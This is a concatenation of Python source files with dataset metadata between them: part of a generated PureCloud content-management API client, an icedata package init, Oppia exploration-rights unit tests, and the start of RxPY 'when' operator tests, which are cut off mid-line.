returns the request thread. """ all_params = ['body', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_query" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_query`") resource_path = '/api/v2/contentmanagement/query'.replace('{format}', 'json') path_params = {} query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='QueryResults', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_shares(self, body, **kwargs): """ Creates a new share or updates an existing share if the entity has already been shared This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_shares(body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param CreateShareRequest body: CreateShareRequest - entity id and type and a single member or list of members are required (required) :return: CreateShareResponse If the method is called asynchronously, returns the request thread. """ all_params = ['body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_shares" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_shares`") resource_path = '/api/v2/contentmanagement/shares'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CreateShareResponse', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_workspace_tagvalues(self, workspace_id, body, **kwargs): """ Create a workspace tag This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_workspace_tagvalues(workspace_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param TagValue body: tag (required) :return: TagValue If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_workspace_tagvalues" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `post_contentmanagement_workspace_tagvalues`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_workspace_tagvalues`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/tagvalues'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TagValue', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_workspace_tagvalues_query(self, workspace_id, body, **kwargs): """ Perform a prefix query on tags in the workspace This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_workspace_tagvalues_query(workspace_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param TagQueryRequest body: query (required) :param list[str] expand: Which fields, if any, to expand. :return: TagValueEntityListing If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'body', 'expand'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_workspace_tagvalues_query" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `post_contentmanagement_workspace_tagvalues_query`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_workspace_tagvalues_query`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/tagvalues/query'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} if 'expand' in params: query_params['expand'] = params['expand'] header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TagValueEntityListing', auth_settings=auth_settings, callback=params.get('callback')) return response def post_contentmanagement_workspaces(self, body, **kwargs): """ Create a group workspace This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.post_contentmanagement_workspaces(body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param WorkspaceCreate body: Workspace (required) :return: Workspace If the method is called asynchronously, returns the request thread. """ all_params = ['body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method post_contentmanagement_workspaces" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `post_contentmanagement_workspaces`") resource_path = '/api/v2/contentmanagement/workspaces'.replace('{format}', 'json') path_params = {} query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Workspace', auth_settings=auth_settings, callback=params.get('callback')) return response def put_contentmanagement_workspace(self, workspace_id, body, **kwargs): """ Update a workspace This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.put_contentmanagement_workspace(workspace_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param Workspace body: Workspace (required) :return: Workspace If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_contentmanagement_workspace" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `put_contentmanagement_workspace`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `put_contentmanagement_workspace`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='Workspace', auth_settings=auth_settings, callback=params.get('callback')) return response def put_contentmanagement_workspace_member(self, workspace_id, member_id, body, **kwargs): """ Add a member to a workspace This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.put_contentmanagement_workspace_member(workspace_id, member_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str member_id: Member ID (required) :param WorkspaceMember body: Workspace Member (required) :return: WorkspaceMember If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'member_id', 'body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_contentmanagement_workspace_member" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `put_contentmanagement_workspace_member`") # verify the required parameter 'member_id' is set if ('member_id' not in params) or (params['member_id'] is None): raise ValueError("Missing the required parameter `member_id` when calling `put_contentmanagement_workspace_member`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `put_contentmanagement_workspace_member`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/members/{memberId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] if 'member_id' in params: path_params['memberId'] = params['member_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='WorkspaceMember', auth_settings=auth_settings, callback=params.get('callback')) return response def put_contentmanagement_workspace_tagvalue(self, workspace_id, tag_id, body, **kwargs): """ Update a workspace tag. Will update all documents with the new tag value. This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.put_contentmanagement_workspace_tagvalue(workspace_id, tag_id, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param str workspace_id: Workspace ID (required) :param str tag_id: Tag ID (required) :param TagValue body: Workspace (required) :return: TagValue If the method is called asynchronously, returns the request thread. """ all_params = ['workspace_id', 'tag_id', 'body'] all_params.append('callback') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method put_contentmanagement_workspace_tagvalue" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'workspace_id' is set if ('workspace_id' not in params) or (params['workspace_id'] is None): raise ValueError("Missing the required parameter `workspace_id` when calling `put_contentmanagement_workspace_tagvalue`") # verify the required parameter 'tag_id' is set if ('tag_id' not in params) or (params['tag_id'] is None): raise ValueError("Missing the required parameter `tag_id` when calling `put_contentmanagement_workspace_tagvalue`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `put_contentmanagement_workspace_tagvalue`") resource_path = '/api/v2/contentmanagement/workspaces/{workspaceId}/tagvalues/{tagId}'.replace('{format}', 'json') path_params = {} if 'workspace_id' in params: path_params['workspaceId'] = params['workspace_id'] if 'tag_id' in params: path_params['tagId'] = params['tag_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # HTTP header `Accept` header_params['Accept'] = self.api_client.\ select_header_accept(['application/json']) if not header_params['Accept']: del header_params['Accept'] # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.\ select_header_content_type(['application/json']) # Authentication setting auth_settings = ['PureCloud OAuth'] response = self.api_client.call_api(resource_path, 'PUT', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TagValue', auth_settings=auth_settings, callback=params.get('callback')) return response

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0.021608

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130,927

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261

40.422044

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0.022596

false

0

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0

null

0

1

0

1

0

null

0

7

b43df1d54134f3214c930f51e2e5bc4d91d09329

136

py

Python

icedata/datasets/birds/__init__.py

ganesh3/icedata

16c26ea3d8f96b99357683849d6bd363bf12a827

[ "Apache-2.0" ]

null

icedata/datasets/birds/__init__.py

ganesh3/icedata

16c26ea3d8f96b99357683849d6bd363bf12a827

[ "Apache-2.0" ]

null

icedata/datasets/birds/__init__.py

ganesh3/icedata

16c26ea3d8f96b99357683849d6bd363bf12a827

[ "Apache-2.0" ]

null

from icedata.datasets.birds.data import * from icedata.datasets.birds.parser import * from icedata.datasets.birds import trained_models

34

49

0.838235

19

136

5.947368

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0.292035

0.504425

0.637168

0.530973

0

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136

3

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0.91129

0

1

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true

0

1

0

1

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0

1

0

null

0

1

0

1

0

7

b44f0f907af65a256bf5da5cc4aa0d903df54279

14,025

py

Python

core/domain/rights_manager_test.py

VictoriaRoux/oppia

5ae2a7f0b5c85d6e28222844d22ebdbfb81923c6

[ "Apache-2.0" ]

3

2015-03-17T01:34:14.000Z

2015-04-11T10:35:53.000Z

core/domain/rights_manager_test.py

VictoriaRoux/oppia

5ae2a7f0b5c85d6e28222844d22ebdbfb81923c6

[ "Apache-2.0" ]

null

core/domain/rights_manager_test.py

VictoriaRoux/oppia

5ae2a7f0b5c85d6e28222844d22ebdbfb81923c6

[ "Apache-2.0" ]

null

# Copyright 2014 The Oppia Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS-IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for classes and methods relating to user rights.""" __author__ = 'Sean Lip' from core.domain import exp_domain from core.domain import exp_services from core.domain import rights_manager import test_utils class ExplorationRightsTests(test_utils.GenericTestBase): """Test that rights for actions on explorations work as expected.""" def setUp(self): super(ExplorationRightsTests, self).setUp() self.signup('a@example.com', 'A') self.signup('b@example.com', 'B') self.signup('c@example.com', 'C') self.signup('d@example.com', 'D') self.signup('e@example.com', 'E') self.signup(self.ADMIN_EMAIL, username=self.ADMIN_USERNAME) self.user_id_a = self.get_user_id_from_email('a@example.com') self.user_id_b = self.get_user_id_from_email('b@example.com') self.user_id_c = self.get_user_id_from_email('c@example.com') self.user_id_d = self.get_user_id_from_email('d@example.com') self.user_id_e = self.get_user_id_from_email('e@example.com') self.user_id_admin = self.get_user_id_from_email(self.ADMIN_EMAIL) self.set_admins([self.ADMIN_EMAIL]) self.EXP_ID = 'exp_id' def test_demo_exploration(self): exp_services.load_demo('1') self.assertTrue(rights_manager.Actor(self.user_id_a).can_play('1')) self.assertTrue(rights_manager.Actor(self.user_id_a).can_view('1')) self.assertTrue(rights_manager.Actor(self.user_id_a).can_edit('1')) self.assertFalse(rights_manager.Actor(self.user_id_a).can_delete('1')) self.assertTrue(rights_manager.Actor(self.user_id_admin).can_play('1')) self.assertTrue(rights_manager.Actor(self.user_id_admin).can_view('1')) self.assertTrue(rights_manager.Actor(self.user_id_admin).can_edit('1')) self.assertTrue( rights_manager.Actor(self.user_id_admin).can_delete('1')) def test_non_splash_page_demo_exploration(self): # Note: there is no difference between permissions for demo # explorations, whether or not they are on the splash page. exp_services.load_demo('3') self.assertTrue(rights_manager.Actor(self.user_id_a).can_play('3')) self.assertTrue(rights_manager.Actor(self.user_id_a).can_view('3')) self.assertTrue(rights_manager.Actor(self.user_id_a).can_edit('3')) self.assertFalse(rights_manager.Actor(self.user_id_a).can_delete('3')) self.assertTrue(rights_manager.Actor(self.user_id_admin).can_play('3')) self.assertTrue(rights_manager.Actor(self.user_id_admin).can_view('3')) self.assertTrue(rights_manager.Actor(self.user_id_admin).can_edit('3')) self.assertTrue( rights_manager.Actor(self.user_id_admin).can_delete('3')) def test_ownership(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.assign_role( self.user_id_a, self.EXP_ID, self.user_id_b, rights_manager.ROLE_EDITOR) self.assertTrue( rights_manager.Actor(self.user_id_a).is_owner(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).is_owner(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_admin).is_owner(self.EXP_ID)) def test_newly_created_exploration(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) self.assertTrue( rights_manager.Actor(self.user_id_a).can_play(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_a).can_view(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_a).can_edit(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_a).can_delete(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_admin).can_play(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_admin).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_admin).can_edit(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_admin).can_delete(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_play(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_edit(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_delete(self.EXP_ID)) def test_inviting_collaborator(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.assign_role( self.user_id_a, self.EXP_ID, self.user_id_b, rights_manager.ROLE_EDITOR) self.assertTrue( rights_manager.Actor(self.user_id_b).can_play(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_b).can_edit(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_delete(self.EXP_ID)) def test_inviting_playtester(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) self.assertFalse( rights_manager.Actor(self.user_id_b).can_play(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_edit(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_delete(self.EXP_ID)) rights_manager.assign_role( self.user_id_a, self.EXP_ID, self.user_id_b, rights_manager.ROLE_VIEWER) self.assertTrue( rights_manager.Actor(self.user_id_b).can_play(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_edit(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_delete(self.EXP_ID)) def test_setting_rights(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.assign_role( self.user_id_a, self.EXP_ID, self.user_id_b, rights_manager.ROLE_VIEWER) with self.assertRaisesRegexp(Exception, 'Could not assign new role.'): rights_manager.assign_role( self.user_id_b, self.EXP_ID, self.user_id_c, rights_manager.ROLE_VIEWER) rights_manager.assign_role( self.user_id_a, self.EXP_ID, self.user_id_b, rights_manager.ROLE_EDITOR) with self.assertRaisesRegexp(Exception, 'Could not assign new role.'): rights_manager.assign_role( self.user_id_b, self.EXP_ID, self.user_id_c, rights_manager.ROLE_VIEWER) rights_manager.assign_role( self.user_id_a, self.EXP_ID, self.user_id_b, rights_manager.ROLE_OWNER) rights_manager.assign_role( self.user_id_b, self.EXP_ID, self.user_id_c, rights_manager.ROLE_OWNER) rights_manager.assign_role( self.user_id_b, self.EXP_ID, self.user_id_d, rights_manager.ROLE_EDITOR) rights_manager.assign_role( self.user_id_b, self.EXP_ID, self.user_id_e, rights_manager.ROLE_VIEWER) def test_publishing_and_unpublishing_exploration(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.publish_exploration(self.user_id_a, self.EXP_ID) self.assertTrue( rights_manager.Actor(self.user_id_b).can_play(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_a).can_unpublish(self.EXP_ID)) rights_manager.unpublish_exploration(self.user_id_admin, self.EXP_ID) self.assertTrue( rights_manager.Actor(self.user_id_a).can_play(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_a).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_play(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) def test_cannot_delete_published_exploration(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.publish_exploration(self.user_id_a, self.EXP_ID) self.assertFalse( rights_manager.Actor(self.user_id_a).can_delete(self.EXP_ID)) def test_can_unpublish_and_delete_published_exploration(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.publish_exploration(self.user_id_a, self.EXP_ID) rights_manager.unpublish_exploration(self.user_id_admin, self.EXP_ID) self.assertTrue( rights_manager.Actor(self.user_id_a).can_delete(self.EXP_ID)) def test_cannot_unpublish_exploration_after_edited(self): # User A creates an exploration, marks it private. # User A publishes the exploration. # User B submits a change. # User A cannot unpublish the exploration. pass def test_anyone_can_submit_a_fix(self): # User A creates an exploration, marks it private. # User A submits a change. # User B submits a change. pass def test_can_publicize_exploration(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) rights_manager.publish_exploration(self.user_id_a, self.EXP_ID) self.assertFalse( rights_manager.Actor(self.user_id_a).can_publicize(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_admin).can_publicize( self.EXP_ID)) def test_changing_viewability(self): exp = exp_domain.Exploration.create_default_exploration( self.EXP_ID, 'A title', 'A category') exp_services.save_new_exploration(self.user_id_a, exp) self.assertFalse( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) self.assertTrue(rights_manager.Actor( self.user_id_a).can_change_private_viewability(self.EXP_ID)) self.assertFalse(rights_manager.Actor( self.user_id_b).can_change_private_viewability(self.EXP_ID)) self.assertTrue(rights_manager.Actor( self.user_id_admin).can_change_private_viewability(self.EXP_ID)) with self.assertRaisesRegexp(Exception, 'already the current value'): rights_manager.set_private_viewability( self.user_id_a, self.EXP_ID, False) with self.assertRaisesRegexp(Exception, 'cannot be changed'): rights_manager.set_private_viewability( self.user_id_b, self.EXP_ID, True) rights_manager.set_private_viewability( self.user_id_a, self.EXP_ID, True) self.assertTrue( rights_manager.Actor(self.user_id_a).can_view(self.EXP_ID)) self.assertTrue( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) rights_manager.set_private_viewability( self.user_id_a, self.EXP_ID, False) self.assertTrue( rights_manager.Actor(self.user_id_a).can_view(self.EXP_ID)) self.assertFalse( rights_manager.Actor(self.user_id_b).can_view(self.EXP_ID)) rights_manager.publish_exploration(self.user_id_a, self.EXP_ID) self.assertFalse(rights_manager.Actor( self.user_id_a).can_change_private_viewability(self.EXP_ID)) rights_manager.unpublish_exploration(self.user_id_admin, self.EXP_ID) self.assertTrue(rights_manager.Actor( self.user_id_a).can_change_private_viewability(self.EXP_ID)) self.assertFalse(rights_manager.Actor( self.user_id_b).can_change_private_viewability(self.EXP_ID)) self.assertTrue(rights_manager.Actor( self.user_id_admin).can_change_private_viewability(self.EXP_ID))

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b481e59c25ea90dcb3093e87c206809f79add5d8

20,981

py

Python

tests/test_observable/test_when.py

AlexMost/RxPY

05cb14c72806dc41e243789c05f498dede11cebd

[ "ECL-2.0", "Apache-2.0" ]

null

tests/test_observable/test_when.py

AlexMost/RxPY

05cb14c72806dc41e243789c05f498dede11cebd

[ "ECL-2.0", "Apache-2.0" ]

null

tests/test_observable/test_when.py

AlexMost/RxPY

05cb14c72806dc41e243789c05f498dede11cebd

[ "ECL-2.0", "Apache-2.0" ]

1

2021-11-04T11:13:49.000Z

import unittest from datetime import datetime from rx.observable import Observable from rx.testing import TestScheduler, ReactiveTest, is_prime from rx.disposables import SerialDisposable on_next = ReactiveTest.on_next on_completed = ReactiveTest.on_completed on_error = ReactiveTest.on_error subscribe = ReactiveTest.subscribe subscribed = ReactiveTest.subscribed disposed = ReactiveTest.disposed created = ReactiveTest.created class RxException(Exception): pass # Helper function for raising exceptions within lambdas def _raise(ex): raise RxException(ex) class TestWhen(unittest.TestCase): def test_then1(self): scheduler = TestScheduler() xs = scheduler.create_hot_observable( on_next(210, 1), on_completed(220) ) def create(): def selector(a): return a return Observable.when(xs.then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_next(210, 1), on_completed(220) ) def test_then1_error(self): ex = Exception() scheduler = TestScheduler() xs = scheduler.create_hot_observable( on_error(210, ex) ) def create(): def selector(a): return a return Observable.when(xs.then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_error(210, ex) ) def test_then1_throws(self): ex = Exception() scheduler = TestScheduler() xs = scheduler.create_hot_observable( on_next(210, 1), on_completed(220) ) def create(): def selector(a): raise ex return Observable.when(xs.then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_error(210, ex) ) def test_and2(self): scheduler = TestScheduler() N = 2 obs = [] for n in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b): return a + b return Observable.when(obs[0].and_(obs[1]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_next(210, N), on_completed(220) ) def test_and2_error(self): ex = Exception() N = 2 for n in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == n: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b): return a + b return Observable.when(obs[0].and_(obs[1]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_error(210, ex) ) def test_then2_throws(self): scheduler = TestScheduler() ex = Exception() obs = [] N = 2 for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b): raise ex return Observable.when(obs[0].and_(obs[1]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_error(210, ex) ) def test_and3(self): scheduler = TestScheduler() obs = [] N = 3 for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c): return a + b + c return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_next(210, N), on_completed(220) ) def test_and3_error(self): ex = Exception() N = 3 for i in range(N): scheduler = TestScheduler() obs = [] for j in range(N): if j == i: obs.append(scheduler.create_hot_observable(on_error(210, ex))) else: obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c): return a + b + c return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_error(210, ex) ) def test_then3_throws(self): ex = Exception() N = 3 scheduler = TestScheduler() obs = [] for i in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c): raise ex return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).then_do(selector)) results = scheduler.start(create) results.messages.assert_equal( on_error(210, ex) ) def test_and4(self): N = 4 scheduler = TestScheduler() obs = [] for _ in range(N): obs.append(scheduler.create_hot_observable(on_next(210, 1), on_completed(220))) def create(): def selector(a, b, c, d): return a + b + c + d return Observable.when(obs[0].and_(obs[1]).and_(obs[2]).and_(obs[3]).then_do(selector)) results = 